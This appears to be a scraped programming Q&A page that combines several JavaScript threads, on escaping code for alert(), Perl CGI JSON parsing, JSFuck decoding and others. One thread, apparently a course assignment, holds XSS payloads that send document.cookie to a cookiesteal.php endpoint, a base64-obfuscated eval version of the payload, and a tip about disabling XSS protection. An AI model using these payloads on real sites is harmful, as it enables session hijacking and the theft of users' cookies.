Encode captured JavaScript code to alert it - javascript

I capture the lines of code around JavaScript errors in order to find and fix them much quicker. In my log when I click on the line number I'm trying to make it alert the lines where the error occurred. Here is an example of the current output...
javascript:alert(encode('var clickCycle = 37;
window.onload = function(e)
{
var a = JSON.parse(localStorage.getItem('email_tab'));
try {var a = top.window.location.href;}
catch (err)
{
'));
It's late so I'm not sure if I should be encoding via PHP at the server or just encode it via JavaScript?
I need to make sure that if there are quotes or other code symbols that they appear in the alert() as they do in the code.

For security problem, i think you just encode it at server before response to client. And at client side you don't need encode through on javascript

A string replace did the trick...
<a href="javascript:alert(\'';
$sp = str_ireplace("'","\'",$row1['lines']);
echo htmlspecialchars($sp).'\');" tabindex="3">'.$row1['line'].'</a>

Related

How to append var to var.src without using +

Im trying to do an XSS attack for an assignment, injecting some code, however the server is set up to strip most HTML tags, but I am able to inject using img tag and onerror. When injecting, I can't seem to get the syntax right as it takes away my "+" in my string append (trying to attach cookie to the source I'm using).
<img src="img.gif"
onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">
When i check this after injection (in inspect element) it shows the script, but the plus symbol at the end is missing. is there another way to append this cookie to the img.src without using the +?
UPDATE:
I got the plus in there and now the Event Listener has activated. But ive tried using onerror, onload, onmouseover and nothing is activating the code, im not receiving the admin cookie.
Try using using %2B instead of +
https://www.w3schools.com/tags/ref_urlencode.asp
Try this on error
eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))
what I have done,
Take the code as a string and convert to base64 btoa()
eval can execute a sting as a code, but we need to decode it first atob dose that
hence eval(atob('encoded code'));
the encoded code
`var img = document.createElement('img');
img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`
So your end it should look like
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
Use encodeURIComponent
<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">
It should work fine if you properly encode the injected script.
The only error you may get is if XSS protection is On.
You can disable it by sending the response header
("X-XSS-Protection", 0)
What does your console report as an error?

Ajax Communication: Malformed JSON string in Perl

I want to send by XMLHttpRequest a JSON object to a Perl Script (*.cgi)
But I can't decode the JSON object in the cgi file.
I always reveive the error message:
malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before
"(end of string)")
This is my javascript code:
//ajax communication for receiver/transceiver
function doAjaxRequest(query)
{
if(whatReq == "")
{
alert('ERROR: Request-Type undefined');
return;
}
if (window.XMLHttpRequest)
{
arequest = new top.XMLHttpRequest(); // Mozilla, Safari, Opera
}
else if (window.ActiveXObject)
{
try
{
arequest = new ActiveXObject('Msxml2.XMLHTTP'); // IE 5
}
catch (e)
{
try
{
arequest = new ActiveXObject('Microsoft.XMLHTTP'); // IE 6
}
catch (e)
{
alert('ERROR: Request not possible');
return;
}
}
}
if (!arequest)
{
alert("Kann keine XMLHTTP-Instanz erzeugen");
return false;
}
else
{
var url = "****.cgi";
var dp = document.location.pathname;
arequest.open('post', url, true);
arequest.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
//receiver function
arequest.onreadystatechange = function()
{
switch (arequest.readyState)
{
case 4:
if (arequest.status != 200)
{
alert("Der Request wurde abgeschlossen, ist aber nicht OK\nFehler:"+arequest.status);
}
else
{
var content = arequest.responseText;
analyseResponse(content);
}
break;
default:
//alert("DEFAULT:" + arequest.readyState );
break;
}
}
//transceiver function
query="jsonObj=" + JSON.stringify({name:"John Rambo", time:"2pm"});
alert(query);
arequest.send(query)
}
}
And here the cgi file:
#!/usr/bin/perl
use CGI qw/:standard/;
use CGI::Carp qw(fatalsToBrowser);
use strict;
use warnings;
use JSON;
use Data::Dumper;
my $jsonObj = param('jsonObj');
my $json = JSON->new->utf8;
my $input = $json->decode( $jsonObj );
print Dumper(\$input);
Can you help me? I don't know how to access the JSON object.
Thank you very much.
This message says you've got non-JSON string in $jsonObj. One particulary common case is empty string. Try printing out raw content of $jsonObj and make sure you set up everything correctly for CGI::param to work and also check with browser's built in tools that it actually sends data.
Also I highly suggest you throwing away 10 years old ActiveX shit. You're using JSON.stringify and all the browsers that support it also support native XMLHttpRequest.
I was about to vote to put your question on hold because of insufficient information to reproduce and diagnose the problem, but then I realized that your question does contain enough clues to figure out what's wrong — they're just really well hidden.
Clue #1: Your error message says (emphasis mine):
malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "(end of string)")
This implies that your $jsonObj variable has length 0, i.e. it is empty.
So, what's causing it to be empty? Well, the Perl code looks like perfectly standard CGI stuff, so the problem must be either in your JS code, or in something that your haven't showed us (such as your web server config). Since we can't debug what we can't see, let's focus on your JS code, where we find...
Clue #2: There's something wrong with this line:
arequest.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
Of course, you can set any content type you want for a POST request, but CGI.pm expects to receive the content in one of the standard formats for HTML form submissions, i.e. either application/x-www-form-urlencoded or multipart/form-data. When it receives something labeled as application/json instead, it doesn't know how to parse it, and so won't. Thus, the param() method in your Perl script will return nothing, since, as far as it's concerned, the client sent no parameters that it could understand.
There should have been a warning about this somewhere in your web server error logs, but you presumably didn't think to check those. (Hint: you really should!)
(You could've also used the warningsToBrowser option of CGI::Carp to get those warnings sent as HTML comments, but I guess you weren't aware of that option, either. Also, to make that work reliably, you'd really need to use CGI::Carp before the CGI module, so that it can catch any early errors.)
Anyway, the fix is simple: just replace application/json in your JS code with application/x-www-form-urlencoded, since that's what what you're actually trying to send to the server. You should also make sure that your JSON data actually is properly URL-encoded before embedding it in the request, by passing the output of JSON.stringify() through encodeURIComponent(), like this:
var data = {name:"John Rambo", time:"2pm"};
var query = "jsonObj=" + encodeURIComponent(JSON.stringify(data));
(I'll also second Oleg V. Volkov's suggestion to get rid of all the obsolete ActiveX stuff in your JS code. In fact, you could do even better by using a modern JS utility library like, say, jQuery, which provides convenient wrapper functions so that you don't even have to mess with XMLHttpRequest directly.)

How to decode a JSFuck script?

I have this code in JavaScript:
[(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]]
In the console, it will return
Array [ "filter" ]
And how can I decode a lot of text that’s similar to the text above? E.g.:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+
(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+
([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]
I want to see the plain script.
I have seen many decoding attempts around, but none that work reliably. The easiest way I have found to decode Non Alphanumeric Javascript is with Chrome.
Open Chrome > Go to jsfuck.com > paste the code you would like to decode in the window > hit Run This.
Then open the Console, in the case of your specific code from PasteBin there will be an error:
Uncaught TypeError: Cannot read property 'innerHTML' of null
To the right of the error, click the line number link, and the code will be revealed. The result is:
(function(){
window.false=document.getElementById('sc').innerHTML;
})
Which explains why you get the error trying to just decode it using JSFuck itself. There is no element with the id sc on their site.
You can use this website to decode jsfuck:
http://codertab.com/jsunfuck
UPDATED
I extracted the decode javascript from the URL above, this is how the decode process work: (javascript)
s = source.slice(0, source.length - 2);
txtResult = eval(s);
Hope it help!
let elem = yourJSFuck
function decode(elem) {
return (/\n(.+)/.exec(eval(elem.replace(/\s+/, "").slice(0, -2)))[1]);
}
console.log(decode(elem))
This should work, the source is from this page

Sending Javascript code to client-side is not escaped correctly

I'm struggling with an encoding-problem in a small system I'm constructing.
In an HTML, this script is loaded
<script src="http://localhost:8000/serving/dk-711218"></script>
and normally I can't access the HTML so everything has to be done inside the javascript file.
The server-side scripts are made in Node.js and it returns pieces of code depending on some settings in customizable XML files. For instance, when displaying an image the system returns a simple
<img src="mypicture.jpg" />
and if it's a text, it returns
<div class="myClass">This is a test</div>
and if they have special behaviors, this code is included as well.
These parts work as intended. These chunks of code resides inside a number of classes and are returned as needed so that the code is gradually built.
So far, so good.
The problem is returning the SWFobject library code, because it seems to corrupt the code on the fly.
All code has been escaped and encoded with encodeURIComponent so that the system just needs to decode and unescape. But the validation fails.
Here's an example of the first few lines before encoding/escaping:
var%2520swfobject%253Dfunction%2528%2529%257Bvar...
Here's how a piece of the SWFObject looks like in the Firefox source code window when accessing the page:
and here's how a piece of the decoded SWFObject looks like in the same window:
This occurs at several places and something that's common for these occurrences is that it looks like the less-than character for unknown reasons is interpreted differently.
Here's the view renderer and I can't figure out if problem is caused in the code or when rendering the code.
Any ideas to what's causing this behavior? Or perhaps some advices on best practice when including code this way?
Responses to comments:
try JSON.stringify
I've tried the JSON solution out as well and it does the trick!
What I did was - as before - to pre-process the included code, using a little tool I built with two input-fields and a JSON.stringify-command between the two. This resulted in the content of returnvar:
Module.prototype.opens = function () {
var returnvar = "var swfobject=function(){var D=\"undefined\",r=\"object\",S=\"Shockwave Flash\",W=\"ShockwaveFlash.ShockwaveFlash\",q=\"application/x-shockwave-flash\",R=\"SWFObjectExprInst\"... etc.
and a JSON.parse is used to correct it again in the renderer:
router.get('/serving/:id', function (req, res) {
var readSymbolicsXMLCallback = function(data) {
res.render('index', {
id: req.params.id,
embedcode: JSON.parse(data)
});
}
var embedcode = readSymbolicsXML(req.params.id, readSymbolicsXMLCallback);
});

Http Response Code from within Html/Javascript

Is it possible using Javascript/Html5 to check the http reply code for a particular web page? For example, if the user enters a sentence, I wish to check to see if I have an audio file for each word in the sentence. I realize I should use a database to lookup the availability of a word but I'm currently working on a very simple demo which currently consists of a single html file and a bunch of ogg files.
The current versions of the XHR for some time now actually have allowed one to do form submissions through them. I've been using that for a while now to do javascript RPC to MySql and it works like a champ. Of course as always XHR has that HTTP status code your looking for.
Just scope out the current docs for XMLHTTP over at the Mozilla site and you'll have that kicking like you want in no time
You could try using ajax to achieve that. Here is a simple example using the jquery ajax function:
// Assuming this is the word you are looking for
var str = "bells";
$.ajax( "www.example.com/audio/" + str + ".ogg" ).done(function () {
// An audio file for that word exists
}).fail( function () {
// There is no audio file for that word
});
For a whole sentence you could just split it into words and look each one up individually.
XMLHttpRequest is definitely the way to go, assuming you're not going to use a database (which I would highly recommend because they're totally awesome.)
function oggSearch () {
alert(this.responseText);
};
var sInput = ''; //grab it from whatever element you're using
var oggReq = new XMLHttpRequest();
oggReq.onload = oggSearch;
//I'm not sure if concatenating the file type will cause issue
oggReq.open("get", sInput + ".ogg", true);
oggReq.send();
I obviously haven't tested the above, but it's based off the link below.
https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest

Categories